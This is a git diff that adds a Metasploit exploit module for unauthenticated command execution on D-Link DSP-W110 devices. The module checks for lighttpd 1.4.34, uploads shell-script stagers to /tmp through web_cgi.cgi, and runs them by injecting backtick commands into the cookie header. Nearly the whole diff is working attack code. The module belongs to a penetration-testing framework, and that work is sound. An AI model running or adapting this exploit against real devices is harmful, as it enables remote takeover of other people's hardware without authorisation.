diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb new file mode 100644 index 0000000000..66ea232ee9 --- /dev/null +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Cookie Command Execution', + 'Description' => %q{ + This module exploits an anonymous remote upload and code execution vulnerability on different + D-Link devices. The vulnerability is a command injection in the cookie handling process of the + lighttpd web server when handling specially crafted cookie values. This module has been + successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment. + }, + 'Author' => + [ + 'Peter Adkins ', # vulnerability discovery and initial PoC + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => + [ + ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC + ], + 'DisclosureDate' => 'Jun 12 2015', + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE + } + ] + ], + 'DefaultTarget' => 1 + )) + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the device ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Uploading stager ...") + @counter = 1 + execute_cmdstager( + :flavor => :echo, + :linemax => 95 # limited by our upload, larger payloads crash the web server + ) + + print_status("#{peer} - creating payload and executing it ...") + + (1 .. @counter).each do |act_file| + # the http server blocks access to our files ... we copy it to a new one + # the length of our command is restricted to 19 characters + cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}" + execute_final_command(cmd) + cmd = "chmod +x /tmp/#{act_file+@counter}" + execute_final_command(cmd) + cmd = "/tmp/#{act_file+@counter}" + execute_final_command(cmd) + cmd = "rm /tmp/#{act_file}" + execute_final_command(cmd) + cmd = "rm /tmp/#{act_file+@counter}" + execute_final_command(cmd) + end + end + + def execute_command(cmd,opts) + # upload our stager to a shell script + # upload takes quite long because there is no response from the web server + + file_upload = "#!/bin/sh\n" + file_upload << cmd << "\n" + + post_data = Rex::MIME::Message.new + post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"") + post_data.bound = "-#{rand_text_alpha(12)}--" + file = post_data.to_s + + @counter = @counter + 1 + + begin + send_request_cgi({ + 'method' => 'POST', + 'uri' => "/web_cgi.cgi", + 'vars_get' => { + '&request' =>'UploadFile', + 'path' => '/tmp/' + }, + 'encode_params' => false, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => file + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + + end + + def execute_final_command(cmd) + # very limited space - larger commands crash the webserver + fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18 + begin + send_request_cgi({ + 'method' => 'GET', + 'uri' => "/", + 'cookie' => "i=`#{cmd}`" + }, 5) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end